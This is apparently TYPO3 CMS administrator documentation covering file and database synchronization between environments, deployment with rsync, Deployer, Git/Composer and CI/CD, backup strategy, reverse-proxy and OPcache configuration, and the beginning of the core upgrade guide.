Best practices for sharing database content across environment stages

  • Separate schema and data handling in your deployment workflow.
  • Avoid copying full production data without anonymization.
  • Use TYPO3 Import/Export for specific content migration.
  • Document your project's data management strategy.
  • Ensure compliance with data privacy regulations.

Synchronizing user-uploaded files across environments

TYPO3 sites commonly include uploaded files, such as images, videos, and documents. These files are typically stored in directories like fileadmin/ and other storage locations defined in the File storage configuration.

While database records can be synchronized through exports or dumps, synchronizing user-uploaded files across environments is different because file references and media consistency need to be kept intact.

Common file storage locations

By default, TYPO3 stores user-managed files in:

  • fileadmin/ — typically used for editor-uploaded media and content files.
  • Custom storage locations defined in File storage configuration.

These locations can contain:

  • Files uploaded by backend users or editors in the TYPO3 backend, such as images, PDFs, and videos used in page content.
  • Files uploaded by website visitors, for example through forms and application processes (uploads, form attachments).
  • Automatically generated files, such as scaled or transformed images, generated PDFs and cached previews.

Challenges in file management

File-based content can become large or sensitive, leading to challenges such as:

  • Storage size and synchronization effort.
  • Privacy and legal considerations (uploaded personal documents, storage with restricted access).
  • Dependency on matching files and database references.

Best practices for file management

  • Mirror file structures between environments to avoid broken links.
  • Exclude sensitive or unnecessary files when synchronizing to non-production environments.
  • Automate file synchronization using deployment tools or scripts.
  • Use symbolic links or mounts if your infrastructure supports shared storage between environments.

File synchronization methods

Manual / rsync copying

  • Copy files via rsync, FTP, or SSH between servers or environments.
  • Filter files based on file type or directory to reduce data transfer.
  • Exclude temporary or processed files that can be regenerated.

Example rsync command:

rsync -avz \
    --exclude='*.bak' \
    --exclude='*/_processed_/' \
    --exclude='*/_temp_/' \
    user@source-server:/var/www/public/fileadmin/ \
    /var/www/public/fileadmin/
Copied!

The exclusion parameters refer to the following:

  • *.bak: Skip backup or intermediate files, if present.
  • */_processed_/: Skip processed files generated by TYPO3 FAL (resized or transformed images).
  • */_temp_/: Skip all temporary folders, such as fileadmin/_temp_/ or fileadmin/user_upload/_temp_/, used for transient files.

Temporary and processed files can typically be regenerated by TYPO3 and do not need to be transferred between environments.

See handling processed files and metadata consistency for important details and trade-offs.

Automated deployment scripts

  • Integrate file copying into your CI/CD pipeline.
  • Use tools like Deployer, GitLab CI, or GitHub Actions with SSH or rsync tasks.

Using filefill for media synchronization and placeholders

The extension ichhabrecht/filefill provides a convenient solution for handling media files in non-production environments.

It can be configured to:

  • Fetch real files (such as images or videos) from a live environment, if these are publicly accessible over HTTP.
  • Generate placeholder files when the real files are not available or should not be copied.

This allows developers to work with realistic file structures without needing to transfer full media sets or sensitive files. It ensures that file references exist on disk, preventing broken links in the TYPO3 backend or frontend.

However, filefill only works with publicly accessible media files like images or videos. It cannot synchronize non-media files, such as:

  • Form configuration files
  • Protected private storage files
  • Arbitrary file types that are not publicly accessible

You typically use filefill in development environments only. It can be set using the ApplicationContext in your config/system/additional.php:

config/system/additional.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Core\Environment;

if (Environment::getContext()->isDevelopment()) {
    $GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['filefill']['storages'][1] = [
        [
            'identifier' => 'domain',
            'configuration' => 'https://example.org',
        ],
        [
            'identifier' => 'placehold',
        ],
    ];
}
Copied!

For more information and configuration options, see the filefill documentation.

Shared storage

  • Use NFS, cloud storage (S3), or other shared storage solutions.
  • Mount the same file storage across environments, if technically feasible.

It is best practice to keep file storage fully isolated between environments to ensure that testing and development activities do not impact the live website.

If shared storage is unavoidable, make sure to:

  • Mount it read-only on non-production environments.
  • Provide clear backend warnings to prevent accidental changes.
  • Inform all users and developers about the risks.

Handling processed files and metadata consistency

TYPO3 generates processed files (such as scaled, cropped, or converted images) and stores their metadata in the sys_file_processedfile table.

This creates a dependency between the file system and the database.

  • If you skip synchronizing processed files (for example, by excluding _processed_ folders), TYPO3 will attempt to regenerate them when they are requested. This may result in slower initial page loads until all processed files are rebuilt.
  • If you synchronize the `_processed_` folder, you may transfer large amounts of data, including stale or unnecessary files that TYPO3 has not yet cleaned up.

TYPO3 uses the sys_file_processedfile table to track processed files. If you copy only the database without the matching files, TYPO3 may reference files that are no longer available.

Balancing performance, storage size, and deployment speed

Based on the priorities set for your project, choose between:

  • Faster deployment and smaller storage, skip processed files and truncate the table.
  • Faster page loads on first access, copy processed files along with the table, but expect to handle larger data volumes.

Make sure your team is aware of the trade-offs and apply a consistent strategy across all environments.

Anonymization or exclusion of user managed files

  • Review file content for personal or sensitive data.
  • Provide reduced or dummy file sets in non-production environments when appropriate.
  • Inform clients or editors if files are excluded or replaced.

Relationship to database references

In TYPO3, user-uploaded and editor-managed files are typically referenced in the database through the File Abstraction Layer (FAL).

Common FAL-managed references include:

  • sys_file_reference records, which reference the UID of a `sys_file` record to link files to content elements or other database records.
  • sys_file records, which store metadata about the actual file in the file system (path, size, MIME type).

Best practice: Extensions and custom code should always use FAL to manage file relations. File paths should not be stored in custom database fields, except in TYPO3’s sys_file table managed by FAL.

When synchronizing environments:

  • Ensure file references in sys_file_reference match existing UIDs in sys_file.
  • Ensure sys_file records ideally describe existing files on disk, especially in production environments.
  • In development or staging, it is often acceptable to have incomplete file presence, provided tools like filefill or placeholders are used to simulate missing files.
  • Avoid broken references by making sure FAL metadata and file storage correspond as much as possible depending on the purpose of the environment.
  • Verify that no file paths are directly hardcoded or stored in custom tables.

Broken or inconsistent references may result in missing media in the frontend or backend and may require manual repair, re-indexing, or cleanup.

Best practices summary

  • Synchronize necessary files alongside database content.
  • Exclude or anonymize sensitive or large files when appropriate.
  • Automate file handling in your deployment processes.
  • Document your project's file synchronization strategy.

Deployment tools

The following tools can be used to deploy TYPO3 either manually or in an automated CI pipeline.

Comparison of deployment tools

Method

Pros

Cons

Typical Use Cases

Git + Composer

  • Simple setup
  • No extra tooling needed
  • Version control on server
  • Composer and Git must be installed on production server
  • Possible downtime during install
  • Risk of untracked local changes on server
  • Deployment may fail if external package sources are temporarily unavailable
  • Small to medium projects
  • Developers familiar with CLI
  • Environments without CI/CD tooling

Deployer

  • Atomic deployment with rollback
  • Zero-downtime deployments
  • Keeps release history
  • Additional tool to learn and configure
  • Deployment process might be too complex for beginners
  • Professional production environments
  • Teams with CI/CD pipelines
  • Projects requiring rollback capabilities

Manual rsync

  • No requirement for Composer/Git
  • Simple file transfer
  • Requires staging/build environment
  • Risk of partial updates if interrupted
  • No version tracking on the server
  • Static file transfer or legacy systems
  • Environments without PHP/Composer tooling on production

No Deployment (Direct Installation on Server)

  • No deployment tooling required
  • Easy to get started for single updates
  • No version control or rollback possible
  • High risk of human error
  • No automation, no reproducibility
  • Very small or legacy projects
  • One-time manual updates
  • Not recommended for professional environments
Summary:
  • Git + Composer: Easy but requires server-side tooling.
  • Deployer: Advanced, safe, and rollback-friendly but requires extra setup.
  • Manual rsync: Simple file sync, but requires external build or packaging steps.
  • No Deployment (Direct Installation on Server): Easy to get started, but risky, untracked, and not recommended for professional environments.

Select the method that best suits your workflow and server capabilities.

Other deployment tools

Rsync deployment of TYPO3

rsync is a command-line tool for copying files between systems.

It can be used to deploy both Composer-based and classic TYPO3 installations by synchronizing project files from a local environment (such as a DDEV setup) to a production server over SSH.

rsync is often used for small to medium-sized projects, or by teams who prefer a controlled and scriptable way to deploy TYPO3 without setting up full CI/CD systems. It can also be part of automated workflows in larger or more complex environments.

By default, rsync only transfers changed files, compared to uploading zip or tar archives, and avoids the need to unpack anything on the server.

Tools like Deployer or TYPO3 Surf often use rsync internally to transfer files, but add features such as automated deployment steps, release management, and rollback support on top.

Using rsync directly gives you full control over what is transferred and when, but you are responsible for handling additional deployment tasks yourself.

Initial Rsync deployment

Let us assume you have a local TYPO3 installation running in DDEV. You have already created some content, uploaded some images, etc.

On initial deployment you want to transfer all the files that are needed by your installation, including user-managed content like images.

Assuming:

  • Your local project is in ~/Projects/typo3-site/
  • Your remote server is user@example.org
  • The target directory on the server is /var/www/typo3-site/
Run the command from your local development environment
rsync -avz --progress \
  --exclude='.git/' \
  --exclude='.ddev/' \
  --exclude='node_modules/' \
  ~/Projects/typo3-site/ \
  user@example.org:/var/www/typo3-site/
Copied!

To use a custom SSH identity file or port, see: Additional SSH configuration.

In addition, transfer the database dump to a temporary location:

Run the command from your local development environment
rsync -avz --progress \
  ~/Projects/typo3-site/dump.sql \
  user@example.org:/tmp/
Copied!

Additional steps are required beyond file transfer. See also Initial deployment.

Regular Deployments with rsync

On subsequent deployments you only have to deploy the files that contain the code that you have developed locally. You do not want to override images that your editors have uploaded in the backend.

Run the command from your local development environment
rsync -avz --progress \
  --exclude='.git/' \
  --exclude='.ddev/' \
  --exclude='node_modules/' \
  --exclude='public/fileadmin/' \
  --exclude='public/uploads/' \
  ~/Projects/typo3-site/ \
  user@example.org:/var/www/typo3-site/
Copied!

To use a custom SSH identity file or port, see: Additional SSH configuration.

There are additional steps needed beyond file transfer. See also Regular deployment.

As the steps of a regular deployment have to be repeated many times during the lifetime of a TYPO3 project, it is helpful to bundle the instructions into a recipe and let Deployer do the work for you.

Syncing fileadmin from production to local

In addition to deploying files to the server, you may also want to transfer editor-generated content such as images and documents back into your local development environment. This is useful, for example, when debugging issues with specific media files or previewing content changes made on production.

To sync the fileadmin/ folder from the production server to your local TYPO3 setup:

Assuming:

  • Your production server is user@example.org
  • The project is located at /var/www/typo3-site/ on the server
  • Your local development environment is at ~/Projects/typo3-site/
Run the command from your local development environment
rsync -avz --progress \
  user@example.org:/var/www/typo3-site/public/fileadmin/ \
  ~/Projects/typo3-site/public/fileadmin/
Copied!

This command will only copy changed files and will preserve the directory structure. It does not delete local files unless you explicitly add the --delete flag.

To preview changes before syncing, you can use --dry-run:

Run the command from your local development environment
rsync -avz --progress --dry-run \
  user@example.org:/var/www/typo3-site/public/fileadmin/ \
  ~/Projects/typo3-site/public/fileadmin/
Copied!

To use a custom SSH identity file or port, see: Additional SSH configuration.

Additional SSH configuration

If your server uses a custom SSH port or requires a specific private key, you can specify them with the -e flag:

Run the command from your local development environment
rsync -avz --progress \
  -e "ssh -i ~/.ssh/id_rsa -p 2222" \
  user@example.org:/var/www/typo3-site/ \
  ~/Projects/typo3-site/
Copied!

Replace ~/.ssh/id_rsa with your SSH key path and 2222 with the actual SSH port if different from the default (22).

Deployer for TYPO3 Deployment

Deployer is a deployment tool written in PHP. Internally Deployer uses Rsync.

Deployer can be used to create recipes that automate execution of the deployment steps.

Deployer recipes for TYPO3

SourceBroker's Deployer - Extended TYPO3

This recipe extends Deployer's capabilities to cover TYPO3 projects. It includes advanced features like database and file synchronization, multi-environment support, and integration with the TYPO3 Console.

See: sourcebroker/deployer-extended-typo3.

Helhum Deployer recipe

This TYPO3 Deployer Recipe from Helhum can be forked and adapted to your needs.

GitLab template Deployer recipe for TYPO3

If you have created your project using the official GitLab template, it will already contain a Deployer template.

You can configure Deployer by editing the YAML configuration file deploy.yaml in the project root. The Deployer recipe is found in packages/site-distribution/Configuration/DeployerRsync.php.

The project also contains a .gitlab-ci.yml for automated deployment.

To start using Deployer, deploy.yaml should look like this:

deploy.yaml
# Deployer Docs https://deployer.org/docs/7.x/basics
import:
  - packages/site-distribution/Configuration/DeployerRsync.php

config:
  repository: '.'                          # Stays as-is if deploying the current project
  writable_mode: 'chmod'                    # Usually fine unless you have ACL or other needs
  bin/php: 'php'                           # Adjust if PHP is not available as 'php' on remote
  bin/composer: '{{bin/php}} /usr/bin/composer'  # Adjust path if composer lives elsewhere

hosts:
  staging:
    hostname: staging.example.com          # Replace with your staging server hostname or IP
    remote_user: deploy                    # Replace with your SSH user
    deploy_path: /var/www/staging-project  # Replace with target directory on remote server
    rsync_src: './'                        # Usually './' is correct (deploys the current dir)
    ssh_multiplexing: false                # Usually fine as-is
    php_version: '8.2'                     # Just metadata, but can be used in your recipe

  production:
    hostname: www.example.com              # Replace with your production server hostname or IP
    remote_user: deploy                    # Replace with your SSH user
    deploy_path: /var/www/production-project # Replace with target directory on remote server
    rsync_src: './'                        # Usually './' is correct (deploys the current dir)
    ssh_multiplexing: false                # Usually fine as-is
    php_version: '8.2'                     # Just metadata, but can be used in your recipe
Copied!

Official Deployer recipe for TYPO3 <= 11.5

The Deployer documentation describes an official TYPO3 (classic mode) Deployer recipe.

However, this recipe is only correct for TYPO3 projects up to version 11.5, using the classic directory structure. For newer TYPO3 versions with Composer-based setups, this recipe requires manual changes.

Manual deployment from DDEV

For manual deployment from DDEV, authenticate your server’s SSH key, for example with ddev auth ssh (see the DDEV documentation: SSH Into Containers).

Install Deployer in your project using Composer:

ddev composer require --dev deployer/deployer
Copied!

List available Deployer tasks:

ddev exec vendor/bin/dep list
Copied!

Choose (and make any necessary changes to) a suitable deployer recipe for your project. Then deploy to your staging server:

ddev exec vendor/bin/dep deploy -vvv staging
Copied!

This assumes you have defined a staging server in your deploy.yaml configuration.

Manual deployment outside of DDEV

Deployer can be run on your local machine or in other environments (Docker or native PHP setups) without using DDEV.

First, install Deployer globally using Composer:

composer global require deployer/deployer
Copied!

Make sure the global Composer vendor/bin directory is in your system’s PATH.

Then list available tasks with:

dep list
Copied!

And deploy to a configured environment, for example:

dep deploy -vvv staging
Copied!

Refer to your deploy.yaml or deploy.php for environment and task definitions.

Automatic deployment via CI/CD

Deployer can be integrated into automated deployment pipelines, such as GitLab CI/CD, GitHub Actions, and other CI systems.

For example, the official TYPO3 GitLab template includes a .gitlab-ci.yml file with deployment stages.

You can configure these stages for automated deployment each time code is pushed to your repository.

Deployer's SSH requirements

Deployer will connect to your servers via SSH. You must ensure that your deployment user has passwordless SSH access to the target server.

You can test SSH access with:

ssh <your-ssh-user>@<your-server>
Copied!

If you can connect without entering a password, SSH is correctly set up.

Typically your SSH key is managed via your local SSH agent, for example:

eval $(ssh-agent -s)
ssh-add ~/.ssh/id_rsa
Copied!

You may also need to add your server to the known hosts file:

ssh-keyscan <your-server> >> ~/.ssh/known_hosts
Copied!

Deploying TYPO3 Using Git and Composer

This guide describes how to deploy a TYPO3 project directly onto your server using Git and Composer, without the need for additional deployment tools.

This method is simple to set up and requires no external deployment services, but it does require Git and Composer to be installed on the server and may cause downtime during updates.

For a detailed comparison with other deployment methods, including Deployer and rsync, see section Comparison of deployment methods.

Quick start: Deploy with Git and Composer

Execute the following in the folder into which your project was originally cloned. The folder must contain the .git directory.

cd /var/www/your-project
git pull
composer install --no-dev
vendor/bin/typo3 database:updateschema
vendor/bin/typo3 cache:flush
Copied!

This performs a basic update of your project code and dependencies in production mode.

See also chapter Finding or installing Composer on the server.

Detailed deployment instructions

The following sections explain the deployment process step by step.

Prerequisites:

Step 1: Clone or update the repository

First-time setup:

git clone <your-git-repository-url> /var/www/your-project
cd /var/www/your-project
Copied!

On subsequent deployments:

cd /var/www/your-project
git pull
Copied!

Step 2: Install production dependencies

Install only production-relevant packages by running:

composer install --no-dev --ignore-platform-reqs
Copied!

Parameter --no-dev excludes development packages. If the PHP version running on the console and the PHP version running on the server differ, you may need to use --ignore-platform-reqs to skip platform checks.

Step 3: Run TYPO3 maintenance commands

Apply database schema updates if required:

vendor/bin/typo3 database:updateschema
Copied!

Clear TYPO3 caches:

vendor/bin/typo3 cache:flush
Copied!

Optional: Run project-specific tasks as needed.

CI/CD: Automatic deployment for TYPO3 Projects

Continuous Integration (CI) and Continuous Deployment/Delivery (CD) are development practices that automate the process of building, testing, and deploying code. Implementing CI/CD for TYPO3 projects ensures higher quality releases, faster feedback loops, and lower risk of introducing bugs.

Why CI/CD for TYPO3?

TYPO3 is a powerful, enterprise-level CMS written in PHP. TYPO3 projects often involve custom extensions, configuration management (TypoScript, YAML config), and complex deployment workflows. Manual deployment increases the risk of human error, environment inconsistencies, and delayed releases. CI/CD automates these concerns.

Common CI/CD Stages in TYPO3 Projects

Code Quality Checks

Unit and Functional Testing

Building Artifacts

  • Installing required extensions and other PHP packages via Composer
  • Compile frontend assets (e.g., SCSS, JavaScript) using tools like Webpack, Gulp or Vite.

Deployment

  • File Synchronization: Deploy code and assets using tools like Rsync, Deployer, or Git-based workflows.
  • Database Migrations: Run database migrations using TYPO3’s vendor/bin/typo3 extension:setup or vendor/bin/typo3 database:updateschema if helhum/typo3-console is installed.
  • Cache Clearing: Clear TYPO3 caches (vendor/bin/typo3 cache:flush).

Environment configuration

Manage environment-specific settings using .env / dotenv files or Plain PHP configuration files.

Typical CI/CD Tools Used

CI/CD Platforms
GitHub Actions, GitLab CI, Jenkins, or CircleCI
Code Quality
PHP-CS-Fixer, PHPstan, and TypoScript-Lint
Testing
PHPUnit with the TYPO3 Testing Framework
Build Tools
Docker or Podman, Composer, Webpack, Gulp, or Vite
Deployment Tools
Deployer, Rsync, Helm, Ansible, GitOps

CI/CD Platforms

Using GitLab CI

The Official GitLab template for TYPO3 provides a predefined .gitlab-ci.yml and a Deployer recipe that you can customize to your needs.

Even if you already set up your project you can find valuable examples there.

Using GitHub Actions

In the following code-block you find a very simplified example of what a deployment workflow with GitHub Actions might look like.

For a more life like example see the .github-ci.yml of Stefan Frömken's TYPO3 Lexicon.

.github/workflows/.github-ci.yml
name: TYPO3 CI/CD Pipeline

on:
  push:
    branches: [ "main" ]

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - name: Set up PHP
        uses: shivammathur/setup-php@v2
        with:
          php-version: '8.3'

      - name: Install Dependencies
        run: composer install --prefer-dist

      - name: Lint PHP
        run: find . -name "*.php" -exec php -l {} \;

      - name: Run PHPStan
        run: vendor/bin/phpstan analyse

      - name: Run PHPUnit Tests
        run: vendor/bin/phpunit

      - name: Deploy (Example)
        run: |
          ssh user@server 'cd /var/www/html && git pull && composer install \
          --no-dev && ./vendor/bin/typo3 cache:flush'
Copied!

Best practices during CI/CD

  1. Version Control Everything

    Include composer.json, composer.lock, config/, packages, and deployment scripts.

  2. Use Environment Variables

    Never hardcode environment-specific values.

  3. Keep Builds Reproducible

    Lock dependencies with composer.lock.

  4. Automate Database Migrations

    Apply migrations as part of the deployment step.

    1. Fail Fast

      Ensure the pipeline stops on errors in quality checks or tests.

    2. Use Staging Environments

      Test changes in staging before promoting to production.

Deploying TYPO3 as a Docker container

Docker is a modern and flexible way to deploy TYPO3 projects in both development and production environments.

This page serves as an entry point for Docker-based deployment strategies. It links to best practices and practical advice for building, running, and maintaining TYPO3 instances in containers.

For in-depth information, see the main Docker chapter:

Running TYPO3 in production environments

This chapter contains information on how to configure and optimize the infrastructure running TYPO3 for production.

Security considerations

Even though TYPO3 follows modern security practices by default, system administrators and integrators must take responsibility for secure configuration and operations in production environments.

Backup and restore TYPO3

Learn how to create secure, restorable backups of your TYPO3 project. Covers essential data, file structure differences, database dumps, storage strategies, and long-term retention.

Secure backup strategy

Backups are a critical part of any TYPO3 project and are usually the responsibility of the system administrator. Hosting providers may offer automated backups, especially on shared or managed hosting, but you should never assume these exist, are up to date, or can be restored—always verify.

While backups do not prevent attacks, they are essential for recovery after data loss, hardware failure, or a security breach. A working and tested backup is often the fastest way to restore your site.

What to include in a TYPO3 backup

The required backup components depend on your installation method and how your project is structured.

Essential backup items (all installations)

The following must be included in all TYPO3 backups, regardless of the installation type:

  • The database – contains all content, page structure, users, and records
  • fileadmin/ – user-uploaded files (images, PDFs, etc.) You may exclude subdirectories like _processed_ that TYPO3 can regenerate.
  • Any additional file storages configured in TYPO3 (e.g. media folders, mounted volumes, or cloud-based storage backends)
  • Log files – may be required for audits or forensic analysis after an incident

    • For Composer-based setups: logs are usually found in var/log/
    • For classic installations: logs may be under typo3temp/var/log/

TYPO3 installations may use multiple file storage locations for managing files. Be sure to identify and back up all relevant locations defined in your instance’s File storage configuration.

Classic-mode installations (non-Composer)

For classic (non-Composer) installations, also back up:

  • typo3conf/ – contains extensions, configuration, and language files

This directory typically includes locally installed extensions and custom configuration. If these files are not tracked in version control, they must be included in your backup to ensure the site can be restored completely.

Composer-based installations

For modern, Composer-based TYPO3 projects, the structure separates the project root (code and configuration) from the public document root.

Back up the following:

  • config/ – contains system settings and site configuration
  • public/fileadmin/ – public content files
  • var/ – optional, useful if you want to preserve logs or session data; otherwise, it can usually be regenerated automatically

When using version control (Git)

If your Composer-based project uses Git (or another VCS), and your config/, composer.json, and custom extensions / site packages are committed:

  • You do not need to include these files in your backups
  • Ensure the repository is complete and regularly pushed to a secure remote
  • Focus your backup on content, assets, and the database

See also Version control of TYPO3 projects with Git

What not to back up

These directories are usually not necessary in backups but can be included if needed. There is no harm in backing them up, though it may increase backup size and time without adding much benefit.

  • typo3temp/, var/ – these contain temporary data that TYPO3 regenerates automatically. However, if log files are stored here (e.g., var/log/), consider backing them up separately.
  • TYPO3 Core source code – can be reinstalled unless it has been modified (which is strongly discouraged).
  • fileadmin/_processed_/ – contains resized and transformed image variants. These can be safely excluded from backups, as TYPO3 regenerates them automatically when needed.

Backing up the database

Create regular database dumps as part of your backup strategy.

For MySQL:

  • Use mysqldump to export the database as a dump file
  • Automate exports using cron jobs or scheduled tasks
  • Verify that all tables are included and that encoding and collation are consistent

TYPO3 stores many non-critical records in cache-related tables (for example, cache_pages, cache_rootline, or cf_*). These tables can be excluded from backups to reduce size and restore time. TYPO3 will automatically rebuild cache tables after a successful restore.

Verifying your backups

Always test your backups to ensure they can be restored.

Best practices:

  • Restore to a separate environment and check the site for errors or missing data
  • Perform restoration tests regularly
  • Ensure both files and database are recoverable

A backup is only useful if it works when you need it.

Backup frequency and retention strategy

Create backups regularly — at least once per day, ideally during low-traffic hours. Keep multiple backup versions over time, rather than overwriting previous ones.

A common rotation strategy might include:

  • One daily backup for the past 7 days
  • One weekly backup for the past 4 weeks
  • One monthly backup for the past 6 months
  • One yearly backup for each of the last few years

This approach balances storage usage with the ability to restore older states if needed.

For security-related guidance on why longer retention matters (e.g., delayed attack detection), see Backup retention for security incidents.

Where to store your backups

Backups are often created and stored on the same server as the TYPO3 instance. This is convenient but risky: hardware failure or a server compromise could destroy both the live site and the backups.

To reduce risk:

  • Copy backups to an external system
  • Prefer pulling backups from the TYPO3 server instead of pushing them
  • Ensure the external system is isolated from the production environment

External storage should also be physically separate to protect against events like fire or flooding.

Check your hosting contract carefully. Even if backups are offered, they may not be guaranteed or restorable. It is best practice to manage your own backups and transfer them offsite regularly.

If you store backups on the production server, keep them outside the web root to prevent public access. Sensitive data—such as credentials or personal information—must never be downloadable via URL. Obscure folder names are not a valid security measure.

Encrypt and scale your backup strategy

More advanced backup strategies—such as incremental backups, geographic distribution, and rotating snapshots—are possible and may be appropriate for larger or high-availability projects. However, these approaches are beyond the scope of this guide.

Because TYPO3 backups often contain sensitive information (such as backend user accounts, configuration data, or customer records), it is strongly recommended to encrypt backup files, especially when stored offsite or transferred across networks.

Security considerations for administrators

Running TYPO3 in a production environment requires careful planning around security. While TYPO3 follows modern best practices by default, there are still important areas where system administrators and integrators must take explicit action.

Running TYPO3 behind a reverse proxy or load balancer

When running TYPO3 behind a reverse proxy or load balancer in a production environment, you may encounter issues that are difficult to reproduce in a local setup.

Please refer to the documentation of that server on what exact settings are needed.

Configuring TYPO3 to trust a reverse proxy

TYPO3 must be explicitly configured to recognize and trust reverse proxy headers and IP addresses.

For example, add the following lines to config/system/additional.php:

config/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxyIP'] = '192.0.2.1,192.168.0.0/16';
$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxySSL'] = '192.0.2.1,192.168.0.0/16';
$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxyHeaderMultiValue'] = 'first';
$GLOBALS['TYPO3_CONF_VARS']['SYS']['trustedHostsPattern'] = '^(www\.)?example\.com$';
Copied!

If you deploy the config/system/additional.php or have it container in a custom Docker image you can, for example, use the Application Context to limit the reverse proxy settings to the production environment:

config/system/additional.php
<?php

use TYPO3\CMS\Core\Core\Environment;

if (Environment::getContext()->isProduction()) {
    $customChanges = [
        // Database Credentials and other production settings
        'SYS' => [
            'reverseProxySSL' => '192.0.2.1,192.168.0.0/16',
        ],
    ];
    $GLOBALS['TYPO3_CONF_VARS'] = array_replace_recursive($GLOBALS['TYPO3_CONF_VARS'], (array)$customChanges);
}
Copied!

You can also use environment variables for configuration

In production environments, always use specific IP addresses or CIDR ranges rather than wildcards.

Omitting parts of the IPv4 address acts as a wildcard (for example 192.168 is equivalent to 192.168.*.*). However, using the equivalent CIDR notation (192.168.0.0/16) is the recommended and standardized approach.

Note that IPv6 addresses are supported only with CIDR notation, not wildcards.

Common problems when using a reverse proxy

TYPO3 installations behind an improperly configured reverse proxy may exhibit issues such as:

  • Exceptions such as \TYPO3\CMS\Core\Http\Security\MissingReferrerException
  • Redirects to the wrong scheme (http instead of https)
  • Backend login / Install tool login failures or redirect loops

These problems often point to missing or untrusted forwarded headers, or a mismatch between the trusted host settings and the actual domain used.

Tuning OPcache to improve performance

It is recommended that OPcache be enabled on the web server running TYPO3. OPcache's default settings will provide significant performance improvements; however there are some changes you can make to help further improve stability and performance. In addition enabling certain features in OPcache can lead to performance degradation.

Enabling OPcache

php.ini
opcache.enable=1
opcache.revalidate_freq=30
opcache.revalidate_path=0
Copied!

Tuning OPcache

Below is list a of OPcache features with information on how they can impact TYPO3's performance.

opcache.save_comments

opcache.save_comments
Default

1

Recommended

1

Setting this to 0 may improve performance but some parts of TYPO3 (including Extbase) rely on information stored in phpDoc comments to function correctly.

opcache.use_cwd

opcache.use_cwd
Default

1

Recommended

1

Setting the value to 0 may cause problems in certain applications because files that have the same name may get mixed up due to the complete path of the file not being stored as a key. TYPO3 works with absolute paths so this would return no improvements to performance.

opcache.validate_timestamps

opcache.validate_timestamps
Default

1

Recommended

1

While setting this to 0 may speed up performance, you must make sure to flush opcache whenever changes are made to the PHP scripts or they will not be updated in OPcache. This can be achieved by using a proper deployment pipeline. Additionally, some files can be added to the blacklist, see opcache.blacklist_filename for more information.

opcache.revalidate_freq

opcache.revalidate_freq
Default

2

Recommended

30

Setting this to a high value can improve performance but shares the same issue when setting validate_timestamps to 0.

opcache.revalidate_path

opcache.revalidate_path
Default

1

Recommended

Setting this value to 0 should be safe with TYPO3. This may be a problem if relative path names are used to load scripts and if the same file exists several times in the include path.

opcache.max_accelerated_files

opcache.max_accelerated_files
Default

10000

Recommended

10000

The default setting should be enough for TYPO3, but this depends on the number of additional scripts that need to be loaded by the system.

For more information on OPcache visit the Official PHP documentation.

Upgrading the TYPO3 Core and extensions

Patch/bugfix updates

Patch/bugfix updates contain bugfixes and/or security updates. This section details how to install them using Composer.

Major upgrades

This chapter details how major upgrades are installed using Composer and highlights what tasks need to be carried out before and after the core is updated.

Upgrading extensions

Just like TYPO3's core, extensions also need to be regularly updated. This chapter details how to upgrade extensions using Composer.

Third-party Tools

Tools and resources developed by the community that can assist with common upgrade and maintenance tasks.

Classic mode upgrade guide

Using TYPO3 without Composer? This chapter details how to upgrade TYPO3 manually.

Applying Core patches

Learn how to apply Core patches in a future proof way: Automatize patch application with cweagans/composer-patches. Download a patch for the Core.

Migrate a TYPO3 installation to Composer

Information on how to migrate a Classic mode installation of TYPO3 to a Composer based installation.

Migrate content

This chapter details how pages and content can be exported and then imported into another installation of TYPO3.

Patch/Bugfix update

What are patch/bugfix updates

Patch/Bugfix updates contain bugfixes and security updates. They never contain new features and do not break backwards compatibility.

For example, updating from TYPO3 version 11.5.2 to 11.5.3 is a patch/bugfix update.

Before updating

The pre-upgrade tasks chapter contains a list of tasks that should be completed prior to upgrading to a major release.

The only tasks that need to be completed for a patch/bugfix update are making a backup and updating the reference index.

Check if updates are available

There are two ways to check if a patch/bugfix update is available for an installation of TYPO3.

All supported versions of TYPO3 and their version numbers are published on get.typo3.org.

Alternatively, running composer outdated -m "typo3/*" will present a list of any TYPO3 packages that have patch/bugfix updates.

Execute the update

To execute the update, run composer update --with-all-dependencies "typo3/*".

This will update all TYPO3 packages. The --with-all-dependencies signals that any dependencies of TYPO3 should also be updated.

Post update

Once Composer has completed updating the TYPO3 installation log in to the backend and clear all caches.

You should also do a database compare.

Admin Tools > Maintenance > Flush TYPO3 and PHP Cache

Major upgrade

Pre-upgrade tasks

Before upgrading TYPO3 to a major release, there are several tasks that can be performed to help ensure a successful upgrade and help minimise any potential downtime.

Upgrade the Core

This chapter details how to perform a major upgrade using Composer.

Post-upgrade tasks

Once TYPO3's Core has been upgraded, there are a few tasks that need to be followed to complete the process.

Pre-upgrade tasks

Before starting the upgrade check your system for compatibility with a newer TYPO3 version.

  • Before you upgrade to the next major version, make sure you have run all Upgrade Wizards of the current TYPO3 major version.
  • Check for deprecations: Enable the deprecation log and let it log all deprecations for a while.
  • Alternatively (or additionally) run the extension scanner and handle deprecations (below).
  • Check installed extensions for versions compatible to the target TYPO3 version
  • Try the upgrade on a development system first or create a parallel instance

Check that all system requirements for upgrading are met:

Make A Backup

Make a backup first! If things go wrong, you can at least go back to the old version. You need a backup of

  • all files of your TYPO3 installation (by using FTP, SCP, rsync, or any other method)
  • the database (by exporting the database to an SQL file)

Also, you may prefer to upgrade a copy of your site first, if there have been a lot of changes and some of them might interfere with functions of your site. See the changelog to check that.

For more detailed information about TYPO3 backups see Backups and recovery in TYPO3 Explained.

Update Reference Index

Without command line

Still in your old TYPO3 version, go to the System > DB check module and use the Manage Reference Index function.

Click on Update reference index to update the reference index. In case there is a timeout, and you do not have CLI access (see above) you might have to run the update multiple times.

Check the ChangeLog

In addition to the deprecations you may want to read the information about important changes, new features and breaking changes for the release you are updating to.

The changelog is divided into four sections "Breaking Changes", "Features", "Deprecation" and "Important". Before upgrading you should at least take a look at the sections "Breaking Changes" and "Important" - changes described in those areas might affect your website.

The detailed information contains a section called "Affected Installations" which contains hints whether or not your website is affected by the change.

There are 3 different methods you can use to read the changelogs:

  1. Look through the changelogs online. This has the advantage that code blocks will be formatted nicely with syntax highlighting.
